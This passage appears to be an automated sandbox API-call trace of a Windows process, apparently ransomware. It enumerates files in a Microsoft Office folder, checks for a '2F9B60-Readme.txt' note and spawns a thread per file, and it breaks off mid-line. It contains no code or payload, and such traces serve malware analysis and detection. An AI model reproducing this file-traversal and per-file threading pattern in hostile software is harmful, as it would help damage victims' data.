NtQueryInformationFile (in: FileHandle=0xa90, IoStatusBlock=0x2661fb38, FileInformation=0x2661fb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2661fb38, FileInformation=0x2661fb48) returned 0x0 [0090.026] NtSetInformationFile (FileHandle=0xa90, IoStatusBlock=0x2661fb38, FileInformation=0x2661fb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0090.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bb50) returned 1 [0090.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b910) returned 1 [0090.028] FlushFileBuffers (hFile=0xa90) returned 1 [0090.030] CloseHandle (hObject=0xa90) returned 1 [0090.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85b910 [0090.031] wcscpy (in: _Dest=0x1b85b910, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0090.031] wcscat (in: _Dest=0x1b85b910, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0090.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0090.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b910) returned 1 [0090.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d510) returned 1 Thread: id = 383 os_tid = 0xf2c [0090.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85d510 [0090.033] wcscpy (in: _Dest=0x1b85d510, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0090.033] wcscat (in: _Dest=0x1b85d510, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0090.033] wcscat (in: _Dest=0x1b85d510, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*" [0090.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58030 [0090.033] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d850 [0090.036] wcscmp (_String1=".", _String2=".") returned 0 [0090.036] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.036] wcscmp (_String1="..", _String2=".") returned 1 [0090.036] wcscmp (_String1="..", _String2="..") returned 0 [0090.036] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0090.036] wcscmp (_String1="1033", _String2=".") returned 1 [0090.036] wcscmp (_String1="1033", _String2="..") returned 1 [0090.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e710 [0090.036] wcscpy (in: _Dest=0x1b85e710, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0090.037] wcscat (in: _Dest=0x1b85e710, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0090.037] wcscat (in: _Dest=0x1b85e710, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" [0097.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85e710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe74 [0097.617] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3.SAM", cAlternateFileName="")) returned 1 [0097.618] wcscmp (_String1="ACT3.SAM", _String2=".") returned 1 [0097.618] wcscmp (_String1="ACT3.SAM", _String2="..") returned 1 [0097.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79e370 [0097.618] wcscpy (in: _Dest=0x1b79e370, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0097.618] wcscat (in: _Dest=0x1b79e370, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0097.618] wcscat (in: _Dest=0x1b79e370, _Source="ACT3.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" [0097.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0 [0097.619] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7990, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMDOS.FAE", cAlternateFileName="")) returned 1 [0097.619] wcscmp (_String1="DELIMDOS.FAE", _String2=".") returned 1 [0097.619] wcscmp (_String1="DELIMDOS.FAE", _String2="..") returned 1 [0097.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a5a00 [0097.619] wcscpy (in: _Dest=0x202a5a00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0097.619] wcscat (in: _Dest=0x202a5a00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0097.619] wcscat (in: _Dest=0x202a5a00, _Source="DELIMDOS.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" [0097.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0097.620] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x79a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0097.620] wcscmp (_String1="DELIMWIN.FAE", _String2=".") returned 1 [0097.620] wcscmp (_String1="DELIMWIN.FAE", _String2="..") returned 1 [0097.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a5a90 [0097.621] wcscpy (in: _Dest=0x202a5a90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0097.621] wcscat (in: _Dest=0x202a5a90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0097.621] wcscat (in: _Dest=0x202a5a90, _Source="DELIMWIN.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" [0097.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0097.622] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x5b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKSAM.SAM", cAlternateFileName="")) returned 1 [0097.622] wcscmp (_String1="DESKSAM.SAM", _String2=".") returned 1 [0097.622] wcscmp (_String1="DESKSAM.SAM", _String2="..") returned 1 [0097.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202a5b20 [0097.622] wcscpy (in: _Dest=0x202a5b20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0097.622] wcscat (in: _Dest=0x202a5b20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0097.622] wcscat (in: _Dest=0x202a5b20, _Source="DESKSAM.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" [0097.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0097.623] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBC.SAM", cAlternateFileName="")) returned 1 [0097.623] wcscmp (_String1="ODBC.SAM", _String2=".") returned 1 [0097.623] wcscmp (_String1="ODBC.SAM", _String2="..") returned 1 [0097.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b868dc0 [0097.624] wcscpy (in: _Dest=0x1b868dc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0097.624] wcscat (in: _Dest=0x1b868dc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0097.624] wcscat (in: _Dest=0x1b868dc0, _Source="ODBC.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" [0097.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0097.625] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7180, dwReserved0=0x0, dwReserved1=0x0, cFileName="OL.SAM", cAlternateFileName="")) returned 1 [0097.625] wcscmp (_String1="OL.SAM", _String2=".") returned 1 [0097.625] wcscmp (_String1="OL.SAM", _String2="..") returned 1 [0097.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b868e40 [0097.625] wcscpy (in: _Dest=0x1b868e40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0097.625] wcscat (in: _Dest=0x1b868e40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0097.625] wcscat (in: _Dest=0x1b868e40, _Source="OL.SAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" [0097.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c [0097.626] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x207a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLADD.FAE", cAlternateFileName="")) returned 1 [0097.626] wcscmp (_String1="OLADD.FAE", _String2=".") returned 1 [0097.626] wcscmp (_String1="OLADD.FAE", _String2="..") returned 1 [0097.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a5bb0 [0097.627] wcscpy (in: _Dest=0x202a5bb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0097.627] wcscat (in: _Dest=0x202a5bb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0097.627] wcscat (in: _Dest=0x202a5bb0, _Source="OLADD.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" [0097.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988 [0097.628] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd79c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1dda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLAPPT.FAE", cAlternateFileName="")) returned 1 [0097.628] wcscmp (_String1="OLAPPT.FAE", _String2=".") returned 1 [0097.628] wcscmp (_String1="OLAPPT.FAE", _String2="..") returned 1 [0097.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a5c40 [0097.628] wcscpy (in: _Dest=0x202a5c40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0097.628] wcscat (in: _Dest=0x202a5c40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0097.628] wcscat (in: _Dest=0x202a5c40, _Source="OLAPPT.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" [0097.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0097.629] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x117a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLJRNL.FAE", cAlternateFileName="")) returned 1 [0097.629] wcscmp (_String1="OLJRNL.FAE", _String2=".") returned 1 [0097.629] wcscmp (_String1="OLJRNL.FAE", _String2="..") returned 1 [0097.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a5cd0 [0097.629] wcscpy (in: _Dest=0x202a5cd0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0097.629] wcscat (in: _Dest=0x202a5cd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0097.629] wcscat (in: _Dest=0x202a5cd0, _Source="OLJRNL.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" [0097.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0097.630] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf798, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAIL.FAE", cAlternateFileName="")) returned 1 [0097.630] wcscmp (_String1="OLMAIL.FAE", _String2=".") returned 1 [0097.630] wcscmp (_String1="OLMAIL.FAE", _String2="..") returned 1 [0097.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a5d60 [0097.630] wcscpy (in: _Dest=0x202a5d60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0097.630] wcscat (in: _Dest=0x202a5d60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0097.631] wcscat (in: _Dest=0x202a5d60, _Source="OLMAIL.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" [0097.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0097.631] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xcb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLNOTE.FAE", cAlternateFileName="")) returned 1 [0097.631] wcscmp (_String1="OLNOTE.FAE", _String2=".") returned 1 [0097.631] wcscmp (_String1="OLNOTE.FAE", _String2="..") returned 1 [0097.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a5df0 [0097.632] wcscpy (in: _Dest=0x202a5df0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0097.632] wcscat (in: _Dest=0x202a5df0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0097.632] wcscat (in: _Dest=0x202a5df0, _Source="OLNOTE.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLNOTE.FAE" [0097.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0097.633] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1c398, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASK.FAE", cAlternateFileName="")) returned 1 [0097.633] wcscmp (_String1="OLTASK.FAE", _String2=".") returned 1 [0097.633] wcscmp (_String1="OLTASK.FAE", _String2="..") returned 1 [0097.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a5e80 [0097.633] wcscpy (in: _Dest=0x202a5e80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0097.633] wcscat (in: _Dest=0x202a5e80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0097.633] wcscat (in: _Dest=0x202a5e80, _Source="OLTASK.FAE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" [0097.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0097.634] FindNextFileW (in: hFindFile=0x1cd9d850, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5988a8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xc588, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORG97.SAM", cAlternateFileName="")) returned 1 [0097.634] wcscmp (_String1="ORG97.SAM", _String2=".") returned 1 [0097.634] wcscmp (_String1="ORG97.SAM", _String2="..") returned 1 [0097.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a5f10 [0097.634] wcscpy (in: _Dest=0x202a5f10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0097.634] wcscat (in: _Dest=0x202a5f10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\" [0097.634] wcscat (in: _Dest=0x202a5f10, 